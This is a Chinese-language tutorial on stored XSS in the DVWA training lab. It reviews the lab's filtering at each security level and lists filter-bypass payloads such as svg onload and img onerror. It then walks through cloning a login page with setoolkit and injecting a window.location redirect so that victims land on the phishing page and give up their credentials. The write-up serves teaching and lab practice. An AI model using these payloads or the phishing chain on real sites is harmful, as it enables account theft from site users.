一.xss储存型概念
黑客发现个人信息或发表文章,等,处存在xss漏洞(并且是储存在数据库中),可以直接插入js代码。
比如在登陆处写下,下图中的代码,发现弹出了我们写的js代码,则说明存在xss储存型漏洞,并且是储存到数据库中的。
当发现以后,我们就可以利用该漏洞,写入恶意js代码,当用户点击时,就会盗取用户信息等。
二.储存型图片演示
1.黑客将js脚本注入到存在储存型xss的位置
2.受害者登陆网站,点击js注入的位置
3.黑客获取cookie,得到登陆权限
三.代码分析
dvwa中的xss漏洞分为四个等级,我们来分析四个等级的源码。(这里借用一下大佬的图片,因为赶时间,所以偷两张图。)
可以看到初级就过滤了数据库特殊字符,没做其他任何处理,
导致很容易触发xss
可以看到mssage变量过滤了mysql中的符号,HTML实体化
那么过滤掉mysql中的符号。
可以看到还是过滤不全面。
正规的过滤应该是用户输入的变量都进行多重过滤,否则容易触发xss
可以看到name中过滤掉script相关信息
而mssage中依然没有做过严谨的过滤
虽然过滤掉了script标签但是我们可以使用其他标签
如:
<svg οnlοad="alert(1)">
<img src=1 Onerror=alert("xss")>
<body Onload=alert(1)>
<body Onpageshow=alert(1)>
<video Onloadstart=alert(1)> src="/media/hack-the-planet.mp4"/>
<style Onload=alert(1)></style>
最后看看安全级别
可以看到都使用了多重过滤
并且两个用户输入的变量都被HTML实体化,这种过滤基本就无法xss
四.dvwa_储存型_演练
这里我们以低级的演示
在输入框注入js代码
发现弹出js,
因此,存在js注入,此时我们就可以结合setoolkit社工弹窗,盗取账户密码
我们先在kali中制作一个钓鱼网站
打开setoolkit
输入1,
输入2,
输入3
输入2,克隆网站
这里不填,回车,自动生成网卡的ip
选择克隆的网站,输入我们要克隆的网站
可以看到已经克隆成功,当用户输入密码时这里就会回显
好,我们回到这里来
尝试输入恶意js代码,发现限制了长度
按f12选到攻击的位置
修改输入长度为1000(都可以只要够写就行)
写一个重定向代码,当用户点击这个功能时,就会被重定向到我们钓鱼页面
window.location="http://xxxxxxxx"
现在假如别人登录了网站
点击了这个网站的这个按钮
他就会跳转到自己网页(钓鱼页面)的登陆页面,
如果他输入密码
我们刚刚这钓鱼页面就收到账户密码
五.总结
1.如果发现script标签被过滤,就尝试其他标签
2.一般结构csrf漏洞同时利用会触发更可怕的漏洞利用
3.储存型xss和反射型最大的区别就是,储存型储存在数据库中,永久有效,只要访问了网站的人都有可能触发xss攻击。
反射型只能一时的有效,比如反射型常见手段,恶意链接让别人点击,盗取cookie